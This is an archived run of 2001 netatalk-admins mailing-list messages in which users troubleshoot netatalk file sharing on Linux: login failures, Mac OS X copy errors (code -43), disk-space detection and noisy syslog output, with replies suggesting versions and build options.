	by masella.dynodns.net (8.11.4/8.11.4) with SMTP id f64Nl9s00940
	for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 23:47:10 GMT
Message-ID: <005501c104e3$95cfdec0$3000a8c0@Masella.Etobicoke>
From: "Andre Masella" <andre@masella.dynodns.net>
To: <netatalk-admins@umich.edu>
Subject: Can't Login under Slackware 8.0
Date: Wed, 4 Jul 2001 19:46:44 -0400
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0052_01C104C2.0DB33760"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_0052_01C104C2.0DB33760
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

I downloaded the most current version of netatalk for my Slackware 8 =
box. It compiles with out a problem, but it will not allow non-guest =
users to login. When I login, it says my password is wrong, but it isn't =
and this appears in the system log:
Jul  4 22:18:38 breadbox afpd[8552]: ASIP session:548(1) from =
192.168.0.48:1756(2)=20
Jul  4 22:18:38 breadbox afpd[8552]: cleartext login: windows=20
Jul  4 22:18:38 breadbox afpd[8552]: 0.08KB read, 0.07KB written=20
Jul  4 22:18:38 breadbox afpd[8540]: server_child[1] 8552 done=20

As you can see, I am logging in as the user "Windows" when the server =
starts up it says:

I told it to enable shadow passwords and let it detect everything else.
Jul  4 22:46:44 breadbox afpd[12421]: BreadBox:AFPServer@* started on =
22.211:128 (1.5pre6)=20
Jul  4 22:46:45 breadbox afpd[12421]: ASIP started on =
192.168.0.22:548(1) (1.5pre6)=20
Jul  4 22:46:45 breadbox afpd[12421]: uam : Loading =
(/etc/atalk/uams/uams_guest.so)=20
Jul  4 22:46:45 breadbox afpd[12421]: uam: uams_guest.so loaded=20
Jul  4 22:46:45 breadbox afpd[12421]: uam : Loading =
(/etc/atalk/uams/uams_clrtxt.so)=20
Jul  4 22:46:45 breadbox afpd[12421]: uam: uams_clrtxt.so loaded=20
Jul  4 22:46:45 breadbox afpd[12421]: uam : Loading =
(/etc/atalk/uams/uams_dhx.so)=20
Jul  4 22:46:46 breadbox afpd[12421]: uam: uams_dhx.so loaded=20
Jul  4 22:46:46 breadbox afpd[12421]: uam: "DHCAST128" available=20
Jul  4 22:46:46 breadbox afpd[12421]: uam: "Cleartxt Passwrd" available=20
Jul  4 22:46:46 breadbox afpd[12421]: uam: "No User Authent" available=20
What should I do? Thanks.
-- Andre Masella (andre@masella.dynodns.net)

------=_NextPart_000_0052_01C104C2.0DB33760
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 5.50.4616.200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I downloaded the most current version =
of netatalk=20
for my Slackware 8 box. It compiles with out&nbsp;a problem, but it will =
not=20
allow non-guest users to login. When I login, it says my password is =
wrong, but=20
it isn't and this appears in the system log:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jul&nbsp; 4 22:18:38 breadbox =
afpd[8552]: ASIP=20
session:548(1) from 192.168.0.48:1756(2) <BR>Jul&nbsp; 4 22:18:38 =
breadbox=20
afpd[8552]: cleartext login: windows <BR>Jul&nbsp; 4 22:18:38 breadbox=20
afpd[8552]: 0.08KB read, 0.07KB written <BR>Jul&nbsp; 4 22:18:38 =
breadbox=20
afpd[8540]: server_child[1] 8552 done <BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>As you can see, I am logging in as the =
user=20
"Windows" when the server starts up it says:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I told it to enable shadow passwords =
and let it=20
detect everything else.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Jul&nbsp; 4 22:46:44 breadbox =
afpd[12421]:=20
BreadBox:AFPServer@* started on 22.211:128 (1.5pre6) <BR>Jul&nbsp; 4 =
22:46:45=20
breadbox afpd[12421]: ASIP started on 192.168.0.22:548(1) (1.5pre6)=20
<BR>Jul&nbsp; 4 22:46:45 breadbox afpd[12421]: uam : Loading=20
(/etc/atalk/uams/uams_guest.so) <BR>Jul&nbsp; 4 22:46:45 breadbox =
afpd[12421]:=20
uam: uams_guest.so loaded <BR>Jul&nbsp; 4 22:46:45 breadbox afpd[12421]: =
uam :=20
Loading (/etc/atalk/uams/uams_clrtxt.so) <BR>Jul&nbsp; 4 22:46:45 =
breadbox=20
afpd[12421]: uam: uams_clrtxt.so loaded <BR>Jul&nbsp; 4 22:46:45 =
breadbox=20
afpd[12421]: uam : Loading (/etc/atalk/uams/uams_dhx.so) <BR>Jul&nbsp; 4 =

22:46:46 breadbox afpd[12421]: uam: uams_dhx.so loaded <BR>Jul&nbsp; 4 =
22:46:46=20
breadbox afpd[12421]: uam: "DHCAST128" available <BR>Jul&nbsp; 4 =
22:46:46=20
breadbox afpd[12421]: uam: "Cleartxt Passwrd" available <BR>Jul&nbsp; 4 =
22:46:46=20
breadbox afpd[12421]: uam: "No User Authent" available <BR>What should I =
do?=20
Thanks.</DIV></FONT>
<DIV><FONT face=3DArial size=3D2>-- Andre Masella (<A=20
href=3D"mailto:andre@masella.dynodns.net">andre@masella.dynodns.net</A>)<=
/FONT></DIV></BODY></HTML>

------=_NextPart_000_0052_01C104C2.0DB33760--


From netatalk.administrators-errors@umich.edu  Wed Jul  4 20:37:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA04921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Jul 2001 20:37:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA03695
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Jul 2001 20:37:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA03680
	for netatalk.administrators-members@umich.edu; Wed, 4 Jul 2001 20:37:00 -0400 (EDT)
Received: from deca.megatronix.com.au ([203.41.69.67])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA03471
	for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 20:36:53 -0400 (EDT)
Received: from hecto.megatronix.com.au (IDENT:root@hecto.megatronix.com.au [203.41.69.131])
	by deca.megatronix.com.au (8.9.3/8.9.3) with ESMTP id LAA14141
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 11:27:34 +1000
Received: from callisto (hecto-ppp14.megatronix.com.au [203.41.69.208])
	by hecto.megatronix.com.au (8.11.0/8.8.7) with SMTP id f650afU05597
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 10:36:45 +1000
From: "Glen Morris" <glen@ausnet.com.au>
To: <netatalk-admins@umich.edu>
Subject: Can't transfer files from mounted netatalk volume to MacOS X client
Date: Thu, 5 Jul 2001 10:36:50 +1000
Message-ID: <KBEGKECBDMGLJNPFNJACMEDGCCAA.glen@ausnet.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <p04310104b768bb0b6e01@[192.168.2.2]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi there!

I'm running netatalk rh7.1-1.5pre6 and have managed to get my netatalk
volume on my Linux box to mount successfully on my G4 running MacOS X
(10.0.4), however, when I go to copy files either way it fails with an error
message about some of the files can't be found.

Glen


From netatalk.administrators-errors@umich.edu  Thu Jul  5 03:31:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA12228
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Jul 2001 03:31:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA02525
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Jul 2001 03:31:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA02504
	for netatalk.administrators-members@umich.edu; Thu, 5 Jul 2001 03:31:03 -0400 (EDT)
Received: from smtp1.nikoma.de (smtp1.nikoma.de [212.122.128.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA02247
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 03:30:58 -0400 (EDT)
Received: from [192.168.1.5] (dialin69.pg5-nt.frankfurt.nikoma.de [213.54.36.69])
	by smtp1.nikoma.de (8.9.3/8.9.3) with ESMTP id JAA67652
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 09:30:56 +0200 (CEST)
	(envelope-from drechsel@verkehrsplanung.com)
X-Sender: 602133b@195.64.96.45
Message-Id: <l03130301b769c817b29d@[192.168.1.5]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Thu, 5 Jul 2001 09:30:48 +0200
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: subscribe
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA12228

subscribe

************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************



From netatalk.administrators-errors@umich.edu  Thu Jul  5 03:42:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA12359
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Jul 2001 03:42:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA04193
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Jul 2001 03:42:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA04176
	for netatalk.administrators-members@umich.edu; Thu, 5 Jul 2001 03:42:36 -0400 (EDT)
Received: from smtp1.nikoma.de (smtp1.nikoma.de [212.122.128.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA04134
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 03:42:35 -0400 (EDT)
Received: from [192.168.1.5] (dialin113.pg9-nt.frankfurt.nikoma.de [213.54.40.113])
	by smtp1.nikoma.de (8.9.3/8.9.3) with ESMTP id JAA68364
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 09:42:34 +0200 (CEST)
	(envelope-from drechsel@verkehrsplanung.com)
X-Sender: 602133b@195.64.96.45
Message-Id: <l03130302b769c8c0da47@[192.168.1.5]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Thu, 5 Jul 2001 09:39:35 +0200
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: calculated fild size - 2.HD is not recognized
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA12359

Dear friends,

I couldnt find any answer in faqs etc., maybe this is not a common problem:

I've got one hard disk (hda) with nearly the whole system (freee apx.
350MB), and a second HDD (hdb), mounted on /tmp, about 680 MB of space.

I wanted to use the "tmp"-volume on hdb to store diskimages for burning
CDs, but now netatalk only recognizes the free disk space of hda.

So when I wnt to transfer an image of 500 MB, I get the message "not enough
disk space free", allthough /tmp (hdb) keeps 680 MB free.

Is there some way to teach netatalk recognizing all drives and the
corresponding volumes? - Will netatalk 1.5 improve this?

Thanks and Greetings

WD

************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************



From netatalk.administrators-errors@umich.edu  Thu Jul  5 07:38:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA16500
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Jul 2001 07:38:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA06676
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Jul 2001 07:38:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA06657
	for netatalk.administrators-members@umich.edu; Thu, 5 Jul 2001 07:38:58 -0400 (EDT)
Received: from deca.megatronix.com.au ([203.41.69.67])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA06588
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 07:38:55 -0400 (EDT)
Received: from hecto.megatronix.com.au (IDENT:root@hecto.megatronix.com.au [203.41.69.131])
	by deca.megatronix.com.au (8.9.3/8.9.3) with ESMTP id WAA02535
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 22:29:20 +1000
Received: from localhost (metis [203.41.69.209])
	by hecto.megatronix.com.au (8.11.0/8.8.7) with ESMTP id f65Ccnm02504;
	Thu, 5 Jul 2001 22:38:50 +1000
Message-Id: <200107051238.f65Ccnm02504@hecto.megatronix.com.au>
Date: Thu, 5 Jul 2001 21:39:01 +1000
From: Glen Morris <glenmo@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Can't transfer files from mounted netatalk volume to MacOS X client
Cc: <netatalk-admins@umich.edu>
To: "Glen Morris" <glen@ausnet.com.au>
X-Mailer: Apple Mail (2.388)
In-Reply-To: <KBEGKECBDMGLJNPFNJACMEDGCCAA.glen@ausnet.com.au>
Mime-Version: 1.0 (Apple Message framework v388)
Content-Transfer-Encoding: 7bit

I just thought I should provide the exact wording of the warning dialog 
box:

Preparing copy to "Desktop"
The operation cannot be completed because one or more required items 
could not be found. (Error code -43).

This is despite the volume mounting fine under MacOS 9.1 and 
successfully transfering the same files. Anyone seen this problem with 
MacOS X?

Glen

On Thursday, July 5, 2001, at 10:36 AM, Glen Morris wrote:

> I'm running netatalk rh7.1-1.5pre6 and have managed to get my netatalk
> volume on my Linux box to mount successfully on my G4 running MacOS X
> (10.0.4), however, when I go to copy files either way it fails with an 
> error
> message about some of the files can't be found.


From netatalk.administrators-errors@umich.edu  Thu Jul  5 13:52:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA25279
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Jul 2001 13:52:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA09982
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Jul 2001 13:52:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09960
	for netatalk.administrators-members@umich.edu; Thu, 5 Jul 2001 13:52:31 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA09823
	for <netatalk-admins@umich.edu>; Thu, 5 Jul 2001 13:52:26 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 5 Jul 2001 17:52:25 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.3.R)
	for <netatalk-admins@umich.edu>; Thu, 05 Jul 2001 19:54:53 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 05 Jul 2001 19:49:38 +0200
Subject: Re: Can't transfer files from mounted netatalk volume to MacOS X
	client
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B76A7552.2A217%ts@visual-s.de>
In-Reply-To: <200107051238.f65Ccnm02504@hecto.megatronix.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 01-07-05 13:39 +0200, "Glen Morris"<glenmo@mac.com> wrote:

> This is despite the volume mounting fine under MacOS 9.1 and
> successfully transfering the same files. Anyone seen this problem with
> MacOS X?

Anybody? 

*Everybody* (well, at least those who managed to even mount a
netatalk share at an OSX client) encounters exact the problem you
describe.

FYI, I believe the next beta from Sourceforge is supposed to
(basically) work with OSX clients.

-Thomas 

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Fri Jul  6 04:59:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA18756
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Jul 2001 04:59:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA11808
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Jul 2001 04:59:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA11781
	for netatalk.administrators-members@umich.edu; Fri, 6 Jul 2001 04:59:57 -0400 (EDT)
Received: from asok.cccrewhome.de (pC19F6C9C.dip.t-dialin.net [193.159.108.156])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA11522
	for <netatalk-admins@umich.edu>; Fri, 6 Jul 2001 04:59:51 -0400 (EDT)
Received: from [192.168.100.2] (G4.cccrewhome.de [192.168.100.2])
	by asok.cccrewhome.de (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f668xiL28859
	for <netatalk-admins@umich.edu>; Fri, 6 Jul 2001 10:59:45 +0200
Mime-Version: 1.0
X-Sender: wenleder@srv.cip.physik.tu-muenchen.de
Message-Id: <p04320402b76b2c6e8d10@[192.168.100.2]>
In-Reply-To: <200107051238.f65Ccnm02504@hecto.megatronix.com.au>
References: <200107051238.f65Ccnm02504@hecto.megatronix.com.au>
Date: Fri, 6 Jul 2001 10:59:42 +0200
To: netatalk-admins@umich.edu
From: Sebastian Wenleder <Sebastian.Wenleder@physik.tu-muenchen.de>
Subject: Netatalk flooding Logfiles...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi all,

I got Netatalk from the SuSE 7.1 Package.
The Problem is that it floods my Log-files with:

.
.
.

Jul  5 23:19:33 asok afpd[17383]:  begin getfilparams:
Jul  5 23:19:33 asok afpd[17383]:  end getfilparams:
Jul  5 23:19:33 asok afpd[17383]:  begin getfilparams:
Jul  5 23:19:33 asok afpd[17383]:  end getfilparams:
Jul  5 23:19:33 asok afpd[17383]:  begin afp_getfildirparams:
Jul  5 23:19:33 asok afpd[17383]:  end afp_ getfildirparams:
Jul  5 23:19:33 asok afpd[17383]:  begin afp_ getfildirparams:
Jul  5 23:19:33 asok afpd[17383]:  end afp_ getfildirparams:
Jul  5 23:19:33 asok afpd[17383]:  begin afp_ getfildirparams:
Jul  5 23:19:33 asok afpd[17383]:  end afp_ getfildirparams:

.
.
.


It sends loads of these messages (facility: daemon.=info) to syslog 
whenever I perform any action on a mounted volume. Since I can't 
totally stop logging of daemon.=info and the -nodebug option of 
netatalk does not change anything, I need your help!

TIA.
Best Regards

Sebastian Wenleder

From netatalk.administrators-errors@umich.edu  Sat Jul  7 14:55:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA02328
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Jul 2001 14:55:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA12168
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Jul 2001 14:55:36 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA12148
	for netatalk.administrators-members@umich.edu; Sat, 7 Jul 2001 14:55:36 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA12077
	for <netatalk-admins@umich.edu>; Sat, 7 Jul 2001 14:55:34 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000088002 for <netatalk-admins@umich.edu>; Sat, 07 Jul 2001 20:52:48 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05101000b76d09030c93@[192.168.1.201]>
In-Reply-To: <B760DD70.377%stanton@livsform.com>
References: <B760DD70.377%stanton@livsform.com>
Date: Sat, 7 Jul 2001 20:55:42 +0200
To: <netatalk-admins@umich.edu>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: natalk and Mac OS X
Content-Type: text/plain; charset="us-ascii"

I've tried almost all versions of netatalk with OSX
(and all the tricks like loginmessage, et al)
and I tell u, the only one which is working reliably both on 9 and X is netatalk1.4b2+asun2.1.4pre37_test + client OSX 10.0.4.

As for server platform, it is working thruout SuSE 6.3, 6.4, 7.0 on Intel and PPC, as well as on LinuxPPC 2000 Q4 on a G3. Haven't tried with kernel 2.4 yet...

u find it here: ftp://ftp.cobaltnet.com/pub/users/asun/testing/
(to be compiled from source. note: pre39 has the same problems as sourceforge-versions)

The sourceforge versions don't work with OSX (-43 errors all over the place, when u finally manage to log in), and they will continue to do so until there will be enough enthusiasm to solve this problem @ the netatalk project maintainers and developers....


;-(

Lorenzo

ps. if You really find a way to make any sourceforge version work with osx, please tell us how..


At 13:11 Uhr -0400 28.06.2001, Stanton Schell wrote:
>Hello,
>I am having the same problem; I am working with netatalk-1.5pre2-6 on Redhat
>7.1.  This is the version distributed by RH in the Powertools.  I am also
>running OS X v10.0.4 on the client machine...
>
>-stanton schell
>--
>Stanton.Schell | stanton@livsform.com | 703.989.6591
>Livsform | info@livsform.com | 202.328.1967
>
>> From: Vic Landi <vic@mail.jamesltaylor.com>
>> Date: Thu, 28 Jun 2001 12:35:01 -0400
>> To: netatalk mailing list <netatalk-admins@umich.edu>
>> Subject: Re: natalk and Mac OS X
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Thu, 28 Jun 2001 12:38:25 -0400 (EDT)
>>
>> Which version of OSX are you using?  Have you upgraded to 10.0.4 yet?
>>
>>> From: Peter Duchateau <peter@duo.be>
>>> Date: Thu, 28 Jun 2001 18:25:55 +0200
>>> To: netatalk mailing list <netatalk-admins@umich.edu>
>>> Subject: natalk and Mac OS X
>>> Resent-From: netatalk-admins@umich.edu
>>> Resent-Date: Thu, 28 Jun 2001 12:30:48 -0400 (EDT)
>>>
>>> We have a server running linux Mandrake 8 with natalk configured.
>>> (version 1.5pre6-1mdk-i586)
>>> Connecting to the server and using the files works fine from Mac OS 9.
>>>
>>> When we connect from Mac OS X, we see the different shares, but when we try
>>> to mount one of them, we get the following error message:
>>>
>>> -------------------------------------
>>> Disconnected
>>>
>>> The file server "xxxxxx" connection
>>> has unexpectedly closed down.
>>> [date and time]
> >> -------------------------------------
> >>
> >>
> >> Can someone help me with this problem ?
> >
> >


From netatalk.administrators-errors@umich.edu  Sat Jul  7 16:54:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04168
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 7 Jul 2001 16:54:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA27126
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 7 Jul 2001 16:54:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27106
	for netatalk.administrators-members@umich.edu; Sat, 7 Jul 2001 16:54:16 -0400 (EDT)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27067
	for <netatalk-admins@umich.edu>; Sat, 7 Jul 2001 16:54:14 -0400 (EDT)
Received: from brandeis.edu (IDENT:karelsf@chipmunk.bio.brandeis.edu [129.64.81.12])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.2) with ESMTP id QAA32446;
	Sat, 7 Jul 2001 16:54:25 -0400
Sender: karelsf@brandeis.edu
Message-ID: <3B477702.2C71AAC4@brandeis.edu>
Date: Sat, 07 Jul 2001 16:54:26 -0400
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
CC: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: natalk and Mac OS X
References: <B760DD70.377%stanton@livsform.com> <a05101000b76d09030c93@[192.168.1.201]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Lorenzo Perone wrote:

> I've tried almost all versions of netatalk with OSX
> (and all the tricks like loginmessage, et al)
> and I tell u, the only one which is working reliably both on 9 and X is netatalk1.4b2+asun2.1.4pre37_test + client OSX 10.0.4.
>
> As for server platform, it is working thruout SuSE 6.3, 6.4, 7.0 on Intel and PPC, as well as on LinuxPPC 2000 Q4 on a G3. Haven't tried with kernel 2.4 yet...
>
> u find it here: ftp://ftp.cobaltnet.com/pub/users/asun/testing/
> (to be compiled from source. note: pre39 has the same problems as sourceforge-versions)
>
> The sourceforge versions don't work with OSX (-43 errors all over the place, when u finally manage to log in), and they will continue to do so until there will be enough enthusiasm to solve this problem @ the netatalk project maintainers and developers...

>From my experience:

2.14pre37 works fine with kernel 2.4.x (compiled on background of Redhat 7.0).

2.14pre37 does have some problems with OS X, especially if you copy large numbers of files (1000+) from a server, or on copying smaller number of files to a server. It's far from bulletproof.

The sourceforge 1.5pre7 CVS version does seem to work at least as well as 2.1.4pre37, IF you compile it with:

--with-did=last.

It would probably help the developers for more users to the test the current CVS version of the code. You can get it from:

http://sourceforge.net/cvs/?group_id=8642


Here is my message to the netatalk-devel list describing test with the CVS version at sourceforge as of about 2 weeks ago.

>
>
>
>
> On Sun, 24 Jun 2001, Joe Clarke wrote:
>
> > Did you compile with --with-did=last?  You need to compile with that
> > option to enable the Mac OS X compatibility code.  Sorry for not being
> > clearer.
>
> OK:
>
> testing
>
>         netatalk-cvs/RH 7.0/guest with OS X 10.0.4
>
> configured with:
>
>          ./configure  --prefix=/usr/local/atalk --enable-redhat
> --with-tcp-wrappers --with-flock-locks --with-pam --with-did=last
>
>
> the immediate "error -43" is gone.
>
> Still get some errors: on moving a large number of files to the netatalk
> server, I get either a spurious "file already exists, cannot copy" error,
> or I get "error code -37". On further examination, this seems to happen
> only when the files originated from OS X. If I move files from the
> netatalk server, then copy them all back to the netatalk server, or if I
> move files from the OS 9.1 partition to the netatalk server, it doesn't
> seem to happen.
>
> I _can_ move large numbers (>1000) files to and from the server.
>
>




From netatalk.administrators-errors@umich.edu  Sat Jul  7 17:43:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
